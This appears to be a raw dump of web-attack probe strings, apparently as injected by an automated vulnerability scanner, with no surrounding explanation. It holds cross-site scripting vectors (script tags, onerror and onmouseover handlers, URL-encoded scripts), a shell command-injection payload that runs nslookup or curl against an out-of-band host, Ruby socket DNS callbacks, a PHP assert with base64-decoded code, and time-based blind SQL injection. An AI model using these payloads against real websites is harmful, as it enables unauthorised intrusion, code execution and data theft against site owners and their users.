fnfOzvSR<img sRc='http://attacker-9611/log.php? $(nslookup -q=cname hitzmfesbbgfx3e5fc.bxss.me||curl hitzmfesbbgfx3e5fc.bxss.me) fnfOzvSR"sTYLe='zzz:Expre/**/SSion(hRDz(9989))'bad=" @@6CbHi %66%6E%66%4F%7A%76%53%52%3C%53%63%52%69%50%74%20%3E%68%52%44%7A%289356%29%3C%2F%73%43%72%69%70%54%3E '+'A'.concat(70-3).concat(22*4).concat(117).concat(82).concat(112).concat(65)+(require'socket' Socket.gethostbyname('hittm'+'rmrmbfyv8f173.bxss.me.')[3].to_s)+' fnfOzvSR<WKFMVQ>Y2HRO[!+!]</WKFMVQ> fnfOzvSR<script>c2bR(9616)</script>9616 %66%6E%66%4F%7A%76%53%52%3C%53%63%52%69%50%74%20%3E%66%7A%58%6C%289453%29%3C%2F%73%43%72%69%70%54%3E fnfOzvSRrKPW7 <ScRiPt >c2bR(9649)</ScRiPt> fnfOzvSR" gd7h=TPmP([!+!]) eXW=" fnfOzvSR<ScRiPt >hRHf(9798)</ScRiPt> fnfOzvSR<img src=//xss.bxss.me/t/dot.gif onload=TPmP(9035)> fnfOzvSR<ScRiPt>hRHf(9629)</sCripT> fnfOzvSR'"()&%<zzz><ScRiPt >SuLZ(9066)</ScRiPt> %66%6E%66%4F%7A%76%53%52%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%61%73%4E%6A%28%39%34%35%35%34%29%22 fnfOzvSR&n937191=v954873 fnfOzvSR<img/src=">" onerror=alert(9975)> bxss.me/t/xss.html?%00 fnfOzvSR"onmouseover=NxkX(91552)" ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); fnfOzvSR<body onload=NxkX(9237)> fnfOzvSR"&&sleep(27*1000)*kzjmkk&&" '"()&%<zzz><ScRiPt >xGfB(9110)</ScRiPt> UxUwYfEr fnfOzvSR\u0022onmouseover=Ii9M(98343)\u0022 0"XOR(if(now()=sysdate() fnfOzvSR<isindex type=image src=1 onerror=xGfB(9441)> 1'" fnfOzvSR<img src=xyz OnErRor=Ii9M(9031)>
